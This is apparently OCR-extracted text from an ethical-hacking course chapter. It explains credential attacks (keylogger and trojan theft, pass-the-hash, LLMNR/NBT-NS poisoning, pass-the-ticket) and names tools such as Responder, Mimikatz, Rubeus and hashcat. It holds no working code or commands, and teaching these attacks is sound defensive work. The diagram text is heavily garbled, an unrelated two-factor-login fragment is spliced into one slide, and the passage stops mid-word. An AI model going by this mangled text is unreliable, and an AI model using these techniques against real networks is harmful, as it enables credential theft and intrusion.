Airway Aladdin Alaxala Alcatel Lucent Alcatel Alfa Network
Alice Alien Technology Allied Data Allied Telesyn Allied Allnet
Allot Alpha Alteon Alvarion Ambicom Ambit
AMI Amigo Amino AMIT Amitech Amped Wireless
Amptron AMX Andover Controls Anker AOC AOpen
Apache APC Apple ARC Wireless Arcor Areca
Arescom Arlotto ARRIS Arrowpoint Artem Asante
Ascend Ascom Asmack Asmax Aspect AST
Asus AT&ET Atcom Atheros Atlantis Atlassian
Attachmate Audioactive Autodesk Avaya Avenger News Award
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Trojans/Spyware/Keyloggers

Victim logs on to the d
server with his/her credentials

v
M .

sends login credentials to

E attacker A
Attacker : Domain Server

ﬁ U The attacker installs a Trojan/Spyware/Keylogger on the victim's machine to collect the
r victim's usernames and passwords

O The Trojan/Spyware/Keylogger runs in the background and sends back all user credentials

‘0=0r to the attacker
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Trojans/Spyware/Keyloggers

A Trojan is a program that masks itself as a benign application. The software initially appears to
perform a desirable or benign function, but instead steals information or harms the system.
With a Trojan, attackers can gain remote access and perform various operations limited by user
privileges on the target computer.

Spyware is a type of malware that attackers install on a computer to secretly gather
information about its users without their knowledge. Spyware hides itself from the user and
can be difficult to detect.

A keylogger is a program that records all user keystrokes without the user’s knowledge.
Keyloggers ship the log of user keystrokes to an attacker’s machine or hide it in the victim’s
machine for later retrieval. The attacker then scrutinizes the log to find passwords or other
useful information that could compromise the system.

An attacker installs a Trojan/spyware/keylogger on a victim’s machine to collect their
usernames and passwords. These programs run in the background and send back all user
credentials to the attacker.

For example, a key logger on a victim’s computer can reveal the contents of all user emails. The
following image depicts a scenario describing how an attacker gains password access using a
Trojan/spyware/keylogger.
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Victim logs on to the domain

H sends login credentials to
Attacker H attacker

Domain Server

Figure 4.3: Active online attack using Trojan/spyware/keylogger
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Hash Injection/Pass-the-Hash (PtH) Attack
A hash injection/PtH attack allows an attacker to inject a compromised hash
into a local session and use the hash to validate network resources
The attacker finds and extracts a logged-on domain admin account hash

The attacker uses the extracted hash to log on to the domain controller

Compromises server

Logged-on hashes are Py using a local/remote exploit
stored in the SAM file Gy
Frrre e > E e ............................................. 9
é Usar logs on — Extracts a logged-on domain :
’ User Server admin account hash v

(Domain Controller)

:-u
Inject a compromised hash into a local session o 2
=

User Computer Attacker
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Hash Injection/Pass-the-Hash (PtH) Attack

This type of attack is possible when the target system uses a hash function as part of the
authentication process to authenticate its users. Generally, the system stores hash values of the
credentials in the SAM database/file on a Windows computer. In such cases, the server
computes the hash value of the user-submitted credentials or allows the user to input the hash
value directly. The server then checks it against the stored hash value for authentication.

Compromises server

Logged-on hashes are ° using a local/remote exploit
stored in the SAM file D AR R e PP P TP P PP PEPRP PRI E
........... U serlogson> E 9 ......... 9
o Extracts .a logged-on domain :
: User Server admin account hash v

(Domain Controller)

Inject a compromised hash into a local session ﬂ

User Computer Attacker

Figure 4.4: Hash injection attack

Attackers exploit such authentication mechanisms and first exploit the target server to retrieve
the hashes from the SAM databases. They then input the hashes acquired directly into the
authentication mechanism to authenticate with the user’s stolen pre-computed hashes. Thus,
in a hash injection/PtH attack, the attackers inject a compromised LanMan (LM) or NTLM hash
into a local session and then use the hash to authenticate to the network resources. Any server
or service (running on Windows, UNIX, or any other OS) using NTLM or LM authentication is
susceptible to this attack. This attack can be launched on any OS, but Windows could be more
vulnerable owing to its Single-Sign-On (SSO) feature that stores passwords inside the system
and enables users to access all the resources with a one-time login.
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LLIMINR/NBT-NS Poisoning

O LLMNR and NBT-NS are the two main elements of Windows operating systems that are used

(] to perform name resolution for hosts present on the same link
[-) O The attacker cracks the NTLMv2 hash obtained from the victim’s authentication process

O The extracted credentials are used to log on to the host system in the network

User performs

LUMNR/NBT-NS Nm|s
broadcast : =
to find out if Host 1
anyone knows :
User sends incorrect \\Dtaservr : @
host name — \\DtaServr >
E < o " N " : Host 2
ooy
e T T
\\DtaServr — NOT FOUND
Data :
Server : Host 3
Attacker responds saying : H
that he knows \\DtaServr, : e D
accepts NTLMv2 hash and :
O et O O

Attacker
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LLMNR/NBT-NS Poisoning

LLMNR (Link Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are two
main elements of Windows OSs used to perform name resolution for hosts present on the same
link. These services are enabled by default in Windows OSs.

When the DNS server fails to resolve name queries, the host performs an unauthenticated UDP
broadcast asking all the hosts if anyone has a name that it is looking for. As the host trying to
connect is following an unauthenticated and broadcast process, it becomes easy for an attacker
to passively listen to a network for LLMNR (UDP port 5355) and NBT-NS (UDP port 137)
broadcasts and respond to the request pretending to be a target host. After accepting a
connection with a host, the attacker can utilize tools such as Responder.py or Metasploit to
forward the request to a rogue server (for instance, TCP: 137) to perform an authentication
process.

During the authentication process, the attacker sends an NTLMv2 hash to the rogue server,
which was obtained from the host trying to authenticate itself. This hash is stored in a disk and
can be cracked using offline hash-cracking tools such as hashcat or John the Ripper. Once
cracked, these credentials can be used to log in and gain access to the legitimate host system.

Steps involved in LLMNR/NBT-NS poisoning:

1. The user sends a request to connect to the data-sharing system, \\DataServer, which
she mistakenly typed as \\DtaServr.

2. The \\DataServer responds to the user, saying that it does not know the host named
\\DtaServr.
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3. The user then performs a LLMNR/NBT-NS broadcast to find out if anyone in the network
knows the host name\\DtaServr.

4. The attacker replies to the user saying that it is \\DataServer, accepts the user NTLMv2
hash, and responds to the user with an error.

User performs

WMNR/NBTNS Nl
broadcast : "&
to find out if :

anyone knows :
User sends incorrect \\DtaServr @

R
Bad
200 .9 ------------------------------------
\\DtaServr— NOT FOUND :
Data :
Server i :
Attacker responds saying
that he knows \\DtaServr, : Feermsmsnssanansmnnnsnrnrnrnnnnnnnnnnd
accepts NTLMv2 hash and
SIS NTLMVZ RGN A0 £ eeesseeessseeesessesessensssasnnee o
Attacker
Figure 4.5: LLMNR/NBT-NS poisoning attack
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Pass the Ticket Attack

Pass the Ticket is a technique used for authenticating a
@ user to a system that is using Kerberos without providing

the user’s password Ty ™
login
To perform this attack, the attacker dumps Kerberos tickets of pas;w“ord
legitimate accounts using credential dumpingtools = W @7 ISR AN
our SMS code: 2-STEP AUTHENTICATION

-55-14-20 i w6 o0 44 o, koo
heeise o oy v sms code

@ The attacker then launches a pass the ticket attack either by visentiall unchanged.

stealing the ST/TGT from an end-user machine, or by stealing the
ST/TGT from a compromised Authorization Server

The attacker uses the retrieved ticket to gain unauthorized access to
the target network services

Tools such as Mimikatz, Rubeus, and Windows Credentials Editor are used
by attackers to launch such attacks
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Pass the Ticket Attack

Pass-the-ticket is a technique used for authenticating a user to a system that is using Kerberos
tickets without providing the user’s password. Kerberos authentication allows users to access
services provided by remote servers without the need to provide passwords for every
requested service. To perform this attack, the attacker dumps Kerberos tickets of legitimate
accounts using credential dumping tools.

A TGT or ST can be captured based on the level of access permitted to a client. Here, the ST
permits access to specific resources, and the TGT is used to send a request to the TGS for the ST
to access all the services the client has been authorized to access.

Silver Tickets are captured for resources that use Kerberos for the authentication process and
can be used to create tickets to call a specific service and access the system that offers the
service.

Golden tickets are captured for the domain with the KDS KRBTGT NTLM hash that allows the
creation of TGTs for any profile in the Active Directory.

Attacke